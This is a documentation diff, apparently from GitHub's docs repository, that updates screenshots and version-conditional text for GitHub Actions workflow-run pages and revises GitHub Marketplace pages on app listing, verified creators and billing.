BIN +41.2 KB assets/images/help/repository/search-log-box-updated-2.png Diff not rendered. BIN +133 KB assets/images/help/repository/super-linter-workflow-results-updated-2.png Diff not rendered. BIN +97.5 KB assets/images/help/repository/superlinter-lint-code-base-job-updated.png Diff not rendered. BIN -128 KB assets/images/help/repository/upload-build-test-artifact.png Diff not rendered. BIN +27.5 KB (170%) assets/images/help/repository/view-run-billable-time.png Diff not rendered. BIN +54.8 KB assets/images/help/repository/workflow-run-kebab-horizontal-icon-updated-2.png Diff not rendered. BIN +7.54 KB assets/images/help/settings/appearance-tab.png Diff not rendered. BIN +39.7 KB assets/images/help/settings/theme-settings-radio-buttons.png Diff not rendered. BIN +11.1 KB assets/images/help/settings/update-theme-preference-button.png Diff not rendered. BIN +22.5 KB assets/images/help/sponsors/billing-account-switcher.png Diff not rendered. BIN +6.37 KB (150%) assets/images/help/sponsors/edit-sponsorship-payment-button.png Diff not rendered. BIN +34.8 KB assets/images/help/sponsors/link-account-button.png Diff not rendered. BIN +12.8 KB (170%) assets/images/help/sponsors/manage-your-sponsorship-button.png Diff not rendered. BIN +20.6 KB assets/images/help/sponsors/organization-update-email-textbox.png Diff not rendered. BIN +13.5 KB assets/images/help/sponsors/pay-prorated-amount-link.png Diff not rendered. BIN +34.7 KB assets/images/help/sponsors/select-an-account-drop-down.png Diff not rendered. BIN +17 KB assets/images/help/sponsors/sponsor-as-drop-down-menu.png Diff not rendered. BIN +15.8 KB assets/images/help/sponsors/sponsoring-as-drop-down-menu.png Diff not rendered. BIN +16.1 KB assets/images/help/sponsors/sponsoring-settings-button.png Diff not rendered. BIN +29.5 KB assets/images/help/sponsors/sponsoring-tab.png Diff not rendered. BIN +7.91 KB assets/images/help/sponsors/update-checkbox-manage.png Diff not rendered. BIN +43 KB (160%) assets/images/marketplace/marketplace-request-button.png Diff not rendered. BIN +53.6 KB assets/images/marketplace/marketplace_verified_creator_badges_apps.png Diff not rendered. 6 content/actions/creating-actions/creating-a-docker-container-action.md @@ -226,6 +226,10 @@ jobs: ``` {% endraw %} From your repository, click the **Actions** tab, and select the latest workflow run. You should see "Hello Mona the Octocat" or the name you used for the `who-to-greet` input and the timestamp printed in the log. From your repository, click the **Actions** tab, and select the latest workflow run. {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}Under **Jobs** or in the visualization graph, click **A job to say hello**. {% endif %}You should see "Hello Mona the Octocat" or the name you used for the `who-to-greet` input and the timestamp printed in the log. {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}  {% else %}  {% endif %} 6 content/actions/creating-actions/creating-a-javascript-action.md @@ -261,9 +261,11 @@ jobs: ``` {% endraw %} From your repository, click the **Actions** tab, and select the latest workflow run. You should see "Hello Mona the Octocat" or the name you used for the `who-to-greet` input and the timestamp printed in the log. From your repository, click the **Actions** tab, and select the latest workflow run. {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}Under **Jobs** or in the visualization graph, click **A job to say hello**. {% endif %}You should see "Hello Mona the Octocat" or the name you used for the `who-to-greet` input and the timestamp printed in the log. {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@2.22" %} {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}  {% elsif currentVersion ver_gt "enterprise-server@2.22" %}  {% else %}  4 content/actions/guides/about-packaging-with-github-actions.md @@ -25,7 +25,11 @@ Creating a package at the end of a continuous integration workflow can help duri Now, when reviewing a pull request, you'll be able to look at the workflow run and download the artifact that was produced. {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}  {% else %}  {% endif %} This will let you run the code in the pull request on your machine, which can help with debugging or testing the pull request. 4 content/actions/guides/building-and-testing-powershell.md @@ -60,7 +60,11 @@ jobs: * `run: Test-Path resultsfile.log` - Check whether a file called `resultsfile.log` is present in the repository's root directory. * `Should -Be $true` - Uses Pester to define an expected result. If the result is unexpected, then {% data variables.product.prodname_actions %} flags this as a failed test. For example: {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}  {% else %}  {% endif %} * `Invoke-Pester Unit.Tests.ps1 -Passthru` - Uses Pester to execute tests defined in a file called `Unit.Tests.ps1`. For example, to perform the same test described above, the `Unit.Tests.ps1` will contain the following: ``` 7 content/actions/guides/storing-workflow-data-as-artifacts.md @@ -108,8 +108,6 @@ jobs: path: output/test/code-coverage.html ```  {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@2.22" %} ### Configuring a custom artifact retention period @@ -238,7 +236,12 @@ jobs: echo The result is $value ``` The workflow run will archive any artifacts that it generated. For more information on downloading archived artifacts, see "[Downloading workflow artifacts](/actions/managing-workflow-runs/downloading-workflow-artifacts)." {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}  {% else %}  {% endif %} {% if currentVersion == "free-pro-team@latest" %} 8 content/actions/index.md @@ -68,18 +68,18 @@ versions: <h2 class="mb-2 font-mktg h1">Code examples</h2> <div class="pr-lg-3 mb-5 mt-3"> <input class="js-code-example-filter input-lg py-2 px-3 col-12 col-lg-8 form-control" placeholder="Search code examples" type="search" autocomplete="off" aria-label="Search code examples"/> <input class="js-filter-card-filter input-lg py-2 px-3 col-12 col-lg-8 form-control" placeholder="Search code examples" type="search" autocomplete="off" aria-label="Search code examples"/> </div> <div class="d-flex flex-wrap gutter"> {% render 'code-example-card' for actionsCodeExamples as example %} </div> <button class="js-code-example-show-more btn btn-outline float-right">Show more {% octicon "arrow-right" %}</button> <button class="js-filter-card-show-more btn btn-outline float-right">Show more {% octicon "arrow-right" %}</button> <div class="js-code-example-no-results d-none py-4 text-center text-gray font-mktg"> <div class="js-filter-card-no-results d-none py-4 text-center text-gray font-mktg"> <div class="mb-3">{% octicon "search" width="24" %}</div> <h3 class="text-normal">Sorry, there is no result for <strong class="js-code-example-filter-value"></strong></h3> <h3 class="text-normal">Sorry, there is no result for <strong class="js-filter-card-value"></strong></h3> <p class="my-3 f4">It looks like we don't have an example that fits your filter.<br>Try another filter or add your code example</p> <a href="https://github.com/github/docs/blob/main/data/variables/action_code_examples.yml">Learn how to add a code example {% octicon "arrow-right" %}</a> </div> 11 content/actions/learn-github-actions/introduction-to-github-actions.md @@ -204,7 +204,7 @@ In this diagram, you can see the workflow file you just created and how the {% d ### Viewing the job's activity Once your job has started running, you can view each step's activity on {% data variables.product.prodname_dotcom %}. Once your job has started running, you can {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}see a visualization graph of the run's progress and {% endif %}view each step's activity on {% data variables.product.prodname_dotcom %}. {% data reusables.repositories.navigate-to-repo %} 1. Under your repository name, click **Actions**. @@ -213,7 +213,14 @@ Once your job has started running, you can view each step's activity on {% data  1. Under "Workflow runs", click the name of the run you want to see.  {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@2.22" %} {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %} 1. Under **Jobs** or in the visualization graph, click the job you want to see.  {% endif %} {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %} 1. View the results of each step.  {% elsif currentVersion ver_gt "enterprise-server@2.22" %} 1. Click on the job name to see the results of each step.  {% else %} 7 content/actions/managing-workflow-runs/canceling-a-workflow.md @@ -17,9 +17,14 @@ versions: {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.actions-tab %} {% data reusables.repositories.navigate-to-workflow %} {% data reusables.repositories.view-run %} 1. From the list of workflow runs, click the name of the `queued` or `in progress` run that you want to cancel.  1. In the upper-right corner of the workflow, click **Cancel workflow**. {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}  {% else %}  {% endif %} ### Steps {% data variables.product.prodname_dotcom %} takes to cancel a workflow run 4 content/actions/managing-workflow-runs/downloading-workflow-artifacts.md @@ -20,4 +20,8 @@ versions: {% data reusables.repositories.navigate-to-workflow %} {% data reusables.repositories.view-run %} 1. Under **Artifacts**, click the artifact you want to download. {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}  {% else %}  {% endif %} 1 content/actions/managing-workflow-runs/index.md @@ -18,6 +18,7 @@ versions: {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}{% link_in_list /using-the-visualization-graph %}{% endif %} {% link_in_list /viewing-workflow-run-history %} {% link_in_list /using-workflow-run-logs %} {% link_in_list /manually-running-a-workflow %} 3 content/actions/managing-workflow-runs/re-running-a-workflow.md @@ -16,5 +16,4 @@ versions: {% data reusables.repositories.actions-tab %} {% data reusables.repositories.navigate-to-workflow %} {% data reusables.repositories.view-run %} 1. In the upper-right corner of the workflow, use the **Re-run jobs** drop-down menu, and select **Re-run all jobs**.  1. In the upper-right corner of the workflow, use the **Re-run jobs** drop-down menu, and select **Re-run all jobs**.{% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}{% else %}{% endif %} 4 content/actions/managing-workflow-runs/removing-workflow-artifacts.md @@ -27,7 +27,11 @@ versions: {% data reusables.repositories.navigate-to-workflow %} {% data reusables.repositories.view-run %} 1. Under **Artifacts**, click {% octicon "trashcan" aria-label="The trashcan icon" %} next to the artifact you want to remove. {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}  {% else %}  {% endif %} {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@2.22" %} ### Setting the retention period for an artifact 23 content/actions/managing-workflow-runs/using-the-visualization-graph.md @@ -0,0 +1,23 @@ --- title: Using the visualization graph intro: Every workflow run generates a real-time graph that illustrates the run progress. You can use this graph to monitor and debug workflows. product: '{% data reusables.gated-features.actions %}' versions: free-pro-team: '*' enterprise-server: '>=3.1' --- {% data reusables.actions.enterprise-beta %} {% data reusables.actions.visualization-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.actions-tab %} {% data reusables.repositories.navigate-to-workflow %} {% data reusables.repositories.view-run %} 1. The graph displays each job in the workflow. An icon to the left of the job name indicates the status of the job. Lines between jobs indicate dependencies.  2. Click on a job to view the job log.  18 content/actions/managing-workflow-runs/using-workflow-run-logs.md @@ -45,7 +45,11 @@ You can search the build logs for a particular step. When you search logs, only {% data reusables.repositories.navigate-to-job-superlinter %} {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@2.22" %} 1. In the upper-right corner of the log output, in the **Search logs** search box, type a search query. {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}  {% else %}  {% endif %} {% else %} 1. To expand each step you want to include in your search, click the step.  @@ -63,8 +67,12 @@ You can download the log files from your workflow run. You can also download a w {% data reusables.repositories.view-run-superlinter %} {% data reusables.repositories.navigate-to-job-superlinter %} {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@2.22" %} 1. In the upper right corner, click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} and select **Download log archive**. 1. In the upper right corner, click {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}{% octicon "gear" aria-label="The gear icon" %}{% else %}{% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}{% endif %} and select **Download log archive**. {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}  {% else %}  {% endif %} {% else %} 1. In the upper right corner, click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} and select **Download log archive**.  @@ -80,9 +88,17 @@ You can delete the log files from your workflow run. {% data reusables.repositor {% data reusables.repositories.view-run-superlinter %} {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@2.22" %} 1. In the upper right corner, click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}. {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}  {% else %}  {% endif %} 2. To delete the log files, click the **Delete all logs** button and review the confirmation prompt. {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}  {% else %}  {% endif %} After deleting logs, the **Delete all logs** button is removed to indicate that no log files remain in the workflow run. {% else %} 1. In the upper right corner, click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}. 2 content/actions/managing-workflow-runs/viewing-job-execution-time.md @@ -15,7 +15,7 @@ Billable job execution minutes are only shown for jobs run on private repositori {% data reusables.repositories.actions-tab %} {% data reusables.repositories.navigate-to-workflow %} {% data reusables.repositories.view-run %} 1. Under the job summary, you can view the job's execution time. To view the billable job execution time, click **Run and billable time details**. 1. Under the job summary, you can view the job's execution time. To view details about the billable job execution time, click the time under **Billable time**.  {% note %} 5 content/actions/quickstart.md @@ -60,8 +60,13 @@ Committing the workflow file in your repository triggers the `push` event and ru {% data reusables.repositories.actions-tab %} {% data reusables.repositories.navigate-to-workflow-superlinter %} {% data reusables.repositories.view-run-superlinter %} {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %} 1. Under **Jobs** or in the visualization graph, click the **Lint code base** job.  {% else %} 1. In the left sidebar, click the **Lint code base** job.  {% endif %} {% data reusables.repositories.view-failed-job-results-superlinter %} ### More starter workflows 49 content/developers/github-marketplace/about-github-marketplace.md @@ -1,6 +1,6 @@ --- title: About GitHub Marketplace intro: 'Learn the basics to prepare your app for review before joining {% data variables.product.prodname_marketplace %}.' intro: 'Learn about {% data variables.product.prodname_marketplace %} where you can share your apps and actions publicly with all {% data variables.product.product_name %} users.' redirect_from: - /apps/marketplace/getting-started/ - /marketplace/getting-started @@ -14,52 +14,41 @@ versions: {% data reusables.actions.actions-not-verified %} To learn about publishing {% data variables.product.prodname_actions %} in the {% data variables.product.prodname_marketplace %}, see "[Publishing actions in GitHub Marketplace](/actions/creating-actions/publishing-actions-in-github-marketplace)." To learn about publishing {% data variables.product.prodname_actions %} in {% data variables.product.prodname_marketplace %}, see "[Publishing actions in GitHub Marketplace](/actions/creating-actions/publishing-actions-in-github-marketplace)." ### Apps You can list verified and unverified apps in {% data variables.product.prodname_marketplace %}. Unverified apps do not go through the security, testing, and verification cycle {% data variables.product.prodname_dotcom %} requires for verified apps. Anyone can share their apps with other users on {% data variables.product.prodname_marketplace %} but only listings that are verified by {% data variables.product.company_short %} can include paid plans. For more information, see "[About verified creators](/developers/github-marketplace/about-verified-creators)." Verified apps have a green badge in {% data variables.product.prodname_marketplace %}. Unverified apps have a grey badge next to their listing and are only available as free apps. If you're interested in creating an app for {% data variables.product.prodname_marketplace %}, but you're new to {% data variables.product.prodname_github_apps %} or {% data variables.product.prodname_oauth_app %}s, see "[Building {% data variables.product.prodname_github_apps %}](/developers/apps/building-github-apps)" or "[Building {% data variables.product.prodname_oauth_app %}s](/developers/apps/building-oauth-apps)."  If you're interested in creating an app for {% data variables.product.prodname_marketplace %}, but you're new to {% data variables.product.prodname_github_apps %} and {% data variables.product.prodname_oauth_app %}s, see "[Building apps](/apps/)." {% data reusables.marketplace.github_apps_preferred %}, although you can list both OAuth and {% data variables.product.prodname_github_app %}s in {% data variables.product.prodname_marketplace %}. See "[Differences between GitHub and OAuth apps](/apps/differences-between-apps/)" for more details. To learn more about switching from OAuth to {% data variables.product.prodname_github_apps %}, see [Migrating OAuth Apps to {% data variables.product.prodname_github_app %}s](/apps/migrating-oauth-apps-to-github-apps/). {% data reusables.marketplace.github_apps_preferred %}, although you can list both OAuth and {% data variables.product.prodname_github_app %}s in {% data variables.product.prodname_marketplace %}. For more information, see "[Differences between {% data variables.product.prodname_github_apps %} and {% data variables.product.prodname_oauth_app %}s](/apps/differences-between-apps/)" and "[Migrating {% data variables.product.prodname_oauth_app %}s to {% data variables.product.prodname_github_apps %}](/apps/migrating-oauth-apps-to-github-apps/)." If you have questions about {% data variables.product.prodname_marketplace %}, please contact {% data variables.contact.contact_support %} directly. #### Unverified Apps Unverified apps do not need to meet the "[Requirements for listing an app on {% data variables.product.prodname_marketplace %}](/marketplace/getting-started/requirements-for-listing-an-app-on-github-marketplace/)" or go through the "[Security review process](/marketplace/getting-started/security-review-process/)". {% data reusables.marketplace.unverified-apps %} Having a published paid plan will prevent you from being able to submit an unverified app. You must remove paid plans or keep them in draft mode before publishing an unverified app. To list your unverified app in {% data variables.product.prodname_marketplace %}, you only need to create a "[Listing on {% data variables.product.prodname_marketplace %}](/marketplace/listing-on-github-marketplace/)" and submit it as an unverified listing. {% data reusables.marketplace.launch-with-free %} ### Publishing an app to {% data variables.product.prodname_marketplace %} #### Verified Apps When you have finished creating your app, you can share it with other users by publishing it to {% data variables.product.prodname_marketplace %}. In summary, the process is: If you've already built an app and you're interested in submitting a verified listing in {% data variables.product.prodname_marketplace %}, start here: 1. Review your app carefully to ensure that it will behave as expected in other repositories and that it follows best practice guidelines. For more information, see "[Security best practices for apps](/developers/github-marketplace/security-best-practices-for-apps)" and "[Requirements for listing an app](/developers/github-marketplace/requirements-for-listing-an-app#best-practice-for-customer-experience)." 1. [Getting started with {% data variables.product.prodname_marketplace %}](/marketplace/getting-started/)<br/>Learn about requirements, guidelines, and the app submission process. 1. Add webhook events to the app to track user billing requests. For more information about the {% data variables.product.prodname_marketplace %} API, webhook events, and billing requests, see "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)." 1. [Integrating with the {% data variables.product.prodname_marketplace %} API](/marketplace/integrating-with-the-github-marketplace-api/)<br/>Before you can list your app on {% data variables.product.prodname_marketplace %}, you'll need to integrate billing flows using the {% data variables.product.prodname_marketplace %} API and webhook events. 1. Create a draft {% data variables.product.prodname_marketplace %} listing. For more information, see "[Drafting a listing for your app](/developers/github-marketplace/drafting-a-listing-for-your-app)." 1. [Listing on {% data variables.product.prodname_marketplace %}](/marketplace/listing-on-github-marketplace/) <br/>Create a draft {% data variables.product.prodname_marketplace %} listing, configure webhook settings, and set up pricing plans. 1. Add a pricing plan. For more information, see "[Setting pricing plans for your listing](/developers/github-marketplace/setting-pricing-plans-for-your-listing)." 1. [Selling your app](/marketplace/selling-your-app/)<br/>Learn about pricing plans, billing cycles, and how to receive payment from {% data variables.product.prodname_dotcom %} for your app. 1. Check whether your app meets the requirements for listing on {% data variables.product.prodname_marketplace %} as a free or a paid app. For more information, see "[Requirements for listing an app](/developers/github-marketplace/requirements-for-listing-an-app)." 1. [{% data variables.product.prodname_marketplace %} Insights](/marketplace/github-marketplace-insights/)<br/>See how your app is performing in {% data variables.product.prodname_marketplace %}. You can use metrics collected by {% data variables.product.prodname_dotcom %} to guide your marketing campaign and be successful in {% data variables.product.prodname_marketplace %}. 1. Read and accept the terms of the "[{% data variables.product.prodname_marketplace %} Developer Agreement](/articles/github-marketplace-developer-agreement/)." 1. [{% data variables.product.prodname_marketplace %} transactions](/marketplace/github-marketplace-transactions/)<br/>Download and view transaction data for your {% data variables.product.prodname_marketplace %} listing. 1. Submit your listing for publication in {% data variables.product.prodname_marketplace %}, requesting verification if you want to sell the app. For more information, see "[Submitting your listing for publication](/developers/github-marketplace/submitting-your-listing-for-publication)." ### Reviewing your app An onboarding expert will contact you with any questions or further steps. For example, if you have added a paid plan, you will need to complete the verification process and complete financial onboarding. As soon as your listing is approved the app is published to {% data variables.product.prodname_marketplace %}. We want to make sure that the apps offered on {% data variables.product.prodname_marketplace %} are safe, secure, and well tested. The {% data variables.product.prodname_marketplace %} onboarding specialists will review your app to ensure that it meets all requirements. Follow the guidelines in these articles before submitting your app: ### Seeing how your app is performing You can access metrics and transactions for your listing. For more information, see: * [Requirements for listing an app on {% data variables.product.prodname_marketplace %}](/marketplace/getting-started/requirements-for-listing-an-app-on-github-marketplace/) * [Security review process](/marketplace/getting-started/security-review-process/) - "[Viewing metrics for your listing](/developers/github-marketplace/viewing-metrics-for-your-listing)" - "[Viewing transactions for your listing](/developers/github-marketplace/viewing-transactions-for-your-listing)" 43 content/developers/github-marketplace/about-verified-creators.md @@ -0,0 +1,43 @@ --- title: About verified creators intro: 'Each organization that wants to sell apps on {% data variables.product.prodname_marketplace %} must follow a verification process. Their identity is checked and their billing process reviewed.' versions: free-pro-team: '*' --- ### About verified creators A verified creator is an organization that {% data variables.product.company_short %} has checked. Anyone can share their apps with other users on {% data variables.product.prodname_marketplace %} but only organizations that are verified by {% data variables.product.company_short %} can sell apps. For more information about organizations, see "[About organizations](/github/setting-up-and-managing-organizations-and-teams/about-organizations)." The verification process aims to protect users. For example, it verifies the seller's identity, checks that their {% data variables.product.product_name %} organization is set up securely, and that they can be contacted for support. After passing the verification checks, any apps that the organization lists on {% data variables.product.prodname_marketplace %} are shown with a verified creator badge {% octicon "verified" aria-label="Verified creator badge" %}. The organization can now add paid plans to any of their apps. Each app with a paid plan also goes through a financial onboarding process to check that it's set up to handle billing correctly.  In addition to the verified creator badge, you'll also see badges for unverified and verified apps. These apps were published using the old method for verifying individual apps.  For information on finding apps to use, see "[Searching {% data variables.product.prodname_marketplace %}](/github/searching-for-information-on-github/searching-github-marketplace)." ### About the verification process The first time you request verification for a listing of one of your apps, you will enter the verification process. An onboarding expert will guide you through the process. This includes checking: - Profile information - The basic profile information is populated accurately and appropriately. - Security - The organization has enabled two-factor authentication. - Verified domain - The organization has verified the domain of the site URL. - Purchase webhook event - The event is handled correctly by the app. When your organization is verified, all your apps are shown with a verified creator badge. You are now able to offer paid plans for any of your apps. For more information about the requirements for listing an app on {% data variables.product.prodname_marketplace %}, see "[Requirements for listing an app on {% data variables.product.prodname_marketplace %}](/marketplace/getting-started/requirements-for-listing-an-app-on-github-marketplace/)." {% data reusables.marketplace.app-transfer-to-org-for-verification %} For information on how to do this, see: "[Submitting your listing for publication](/developers/github-marketplace/submitting-your-listing-for-publication#transferring-an-app-to-an-organization-before-you-submit)." {% note %} **Note:** This verification process for apps replaces the previous process where individual apps were verified. The current process is similar to the verification process for actions. If you have apps that were verified under the old process, these will not be affected by the changes. The {% data variables.product.prodname_marketplace %} team will contact you with details of how to migrate to organization-based verification. {% endnote %} 12 content/developers/github-marketplace/billing-customers.md @@ -13,17 +13,17 @@ versions: ### Understanding the billing cycle Customers can choose a monthly or yearly billing cycle when they purchase your app. All changes customers make to the billing cycle and plan selection will trigger a `marketplace_purchase` event. You can refer to the `marketplace_purchase` webhook payload to see which billing cycle a customer selects and when the next billing date begins (`effective_date`). For more information about webhook payloads, see "[{% data variables.product.prodname_marketplace %} webhook events](/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events/)." Customers can choose a monthly or yearly billing cycle when they purchase your app. All changes customers make to the billing cycle and plan selection will trigger a `marketplace_purchase` event. You can refer to the `marketplace_purchase` webhook payload to see which billing cycle a customer selects and when the next billing date begins (`effective_date`). For more information about webhook payloads, see "[Webhook events for the {% data variables.product.prodname_marketplace %} API](/developers/github-marketplace/webhook-events-for-the-github-marketplace-api)." ### Providing billing services in your app's UI Customers must be able to perform the following actions from your app's website: - Customers must be able to modify or cancel their {% data variables.product.prodname_marketplace %} plans for personal and organizational accounts separately. Customers should be able to perform the following actions from your app's website: - Customers should be able to modify or cancel their {% data variables.product.prodname_marketplace %} plans for personal and organizational accounts separately. {% data reusables.marketplace.marketplace-billing-ui-requirements %} ### Billing services for upgrades, downgrades, and cancellations Follow these guidelines for upgrades, downgrades, and cancellations to maintain a clear and consistent billing process. For more detailed instructions about the {% data variables.product.prodname_marketplace %} purchase events, see "[Billing flows](/marketplace/integrating-with-the-github-marketplace-api/#billing-flows)." Follow these guidelines for upgrades, downgrades, and cancellations to maintain a clear and consistent billing process. For more detailed instructions about the {% data variables.product.prodname_marketplace %} purchase events, see "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)." You can use the `marketplace_purchase` webhook's `effective_date` key to determine when a plan change will occur and periodically synchronize the [List accounts for a plan](/rest/reference/apps#list-accounts-for-a-plan). @@ -33,7 +33,7 @@ When a customer upgrades their pricing plan or changes their billing cycle from {% data reusables.marketplace.marketplace-failed-purchase-event %} For information about building upgrade and downgrade workflows into your app, see "[Upgrading and downgrading plans](/marketplace/integrating-with-the-github-marketplace-api/upgrading-and-downgrading-plans/)." For information about building upgrade and downgrade workflows into your app, see "[Handling plan changes](/developers/github-marketplace/handling-plan-changes)." #### Downgrades and cancellations @@ -45,4 +45,4 @@ When a customer cancels a plan, you must: {% data reusables.marketplace.cancellation-clarification %} - Enable them to upgrade the plan through GitHub if they would like to continue the plan at a later time. For information about building cancellation workflows into your app, see "[Cancelling plans](/marketplace/integrating-with-the-github-marketplace-api/cancelling-plans/)." For information about building cancellation workflows into your app, see "[Handling plan cancellations](/developers/github-marketplace/handling-plan-cancellations)." 20 ...nt/developers/github-marketplace/customer-experience-best-practices-for-apps.md @@ -0,0 +1,20 @@ --- title: Customer experience best practices for apps intro: 'Guidelines for creating an app that will be easy to use and understand.' shortTitle: Customer experience best practice versions: free-pro-team: '*' --- If you follow these best practices it will help you to provide a good customer experience. ### Customer communication - Marketing materials for the app should accurately represent the app's behavior. - Apps should include links to user-facing documentation that describe how to set up and use the app. - Customers should be able to see what type of plan they have in the billing, profile, or account settings section of the app. - Customers should be able to install and use your app on both a personal account and an organization account. They should be able to view and manage the app on those accounts separately. ### Plan management {% data reusables.marketplace.marketplace-billing-ui-requirements %} 4 content/developers/github-marketplace/drafting-a-listing-for-your-app.md @@ -59,8 +59,8 @@ Once you've created a {% data variables.product.prodname_marketplace %} draft li ### Submitting your app Once you've completed your {% data variables.product.prodname_marketplace %} listing, you can submit your listing for review from the **Overview** page. You'll need to read and accept the "[{% data variables.product.prodname_marketplace %} Developer Agreement](/articles/github-marketplace-developer-agreement/)," and then you can click **Submit for review**. After you submit your app for review, the {% data variables.product.prodname_marketplace %} onboarding team will contact you with additional information about the onboarding process. You can learn more about the onboarding and security review process in "[Getting started with {% data variables.product.prodname_marketplace %}](/marketplace/getting-started/)." Once you've completed your {% data variables.product.prodname_marketplace %} listing, you can submit your listing for review from the **Overview** page. You'll need to read and accept the "[{% data variables.product.prodname_marketplace %} Developer Agreement](/articles/github-marketplace-developer-agreement/)," and then you can click **Submit for review**. After you submit your app for review, an onboarding expert will contact you with additional information about the onboarding process. You can learn more about the onboarding and security review process in "[Getting started with {% data variables.product.prodname_marketplace %}](/marketplace/getting-started/)." ### Removing a {% data variables.product.prodname_marketplace %} listing If you no longer want to list your app in {% data variables.product.prodname_marketplace %}, contact [marketplace@github.com](mailto:marketplace@github.com) to remove your listing. If you no longer want to list your app in {% data variables.product.prodname_marketplace %}, contact {% data variables.contact.contact_support %} to remove your listing. 2 content/developers/github-marketplace/handling-new-purchases-and-free-trials.md @@ -28,7 +28,7 @@ GitHub then sends the [`marketplace_purchase`](/webhooks/event-payloads/#marketp Read the `effective_date` and `marketplace_purchase` object from the `marketplace_purchase` webhook to determine which plan the customer purchased, when the billing cycle starts, and when the next billing cycle begins. If your app offers a free trial, read the `marketplace_purchase[on_free_trial]` attribute from the webhook. If the value is `true`, your app will need to track the free trial start date (`effective_date`) and the date the free trial ends (`free_trial_ends_on`). Use the `free_trial_ends_on` date to display the remaining days left in a free trial in your app's UI. You can do this in either a banner or in your [billing UI](/marketplace/selling-your-app/billing-customers-in-github-marketplace/#providing-billing-services-in-your-apps-ui). To learn how to handle cancellations before a free trial ends, see "[Cancelling plans](/marketplace/integrating-with-the-github-marketplace-api/cancelling-plans/)." See "[Upgrading and downgrading plans](/marketplace/integrating-with-the-github-marketplace-api/upgrading-and-downgrading-plans/)" to find out how to transition a free trial to a paid plan when a free trial expires. If your app offers a free trial, read the `marketplace_purchase[on_free_trial]` attribute from the webhook. If the value is `true`, your app will need to track the free trial start date (`effective_date`) and the date the free trial ends (`free_trial_ends_on`). Use the `free_trial_ends_on` date to display the remaining days left in a free trial in your app's UI. You can do this in either a banner or in your [billing UI](/marketplace/selling-your-app/billing-customers-in-github-marketplace/#providing-billing-services-in-your-apps-ui). To learn how to handle cancellations before a free trial ends, see "[Handling plan cancellations](/developers/github-marketplace/handling-plan-cancellations)." See "[Handling plan changes](/developers/github-marketplace/handling-plan-changes)" to find out how to transition a free trial to a paid plan when a free trial expires. See "[{% data variables.product.prodname_marketplace %} webhook events](/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events/)" for an example of the `marketplace_purchase` event payload. 6 content/developers/github-marketplace/index.md @@ -11,8 +11,10 @@ versions: {% topic_link_in_list /creating-apps-for-github-marketplace %} {% link_in_list /about-github-marketplace %} {% link_in_list /about-verified-creators %} {% link_in_list /requirements-for-listing-an-app %} {% link_in_list /security-review-process-for-submitted-apps %} {% link_in_list /security-best-practices-for-apps %} {% link_in_list /customer-experience-best-practices-for-apps %} {% link_in_list /viewing-metrics-for-your-listing %} {% link_in_list /viewing-transactions-for-your-listing %} {% topic_link_in_list /using-the-github-marketplace-api-in-your-app %} @@ -27,7 +29,7 @@ versions: {% link_in_list /writing-a-listing-description-for-your-app %} {% link_in_list /setting-pricing-plans-for-your-listing %} {% link_in_list /configuring-a-webhook-to-notify-you-of-plan-changes %} {% link_in_list /submitting-your-listing-for-review %} {% link_in_list /submitting-your-listing-for-publication %} {% topic_link_in_list /selling-your-app-on-github-marketplace %} {% link_in_list /pricing-plans-for-github-marketplace-apps %} {% link_in_list /billing-customers %} 32 content/developers/github-marketplace/pricing-plans-for-github-marketplace-apps.md @@ -10,35 +10,45 @@ versions: {% data variables.product.prodname_marketplace %} pricing plans can be free, flat rate, or per-unit, and GitHub 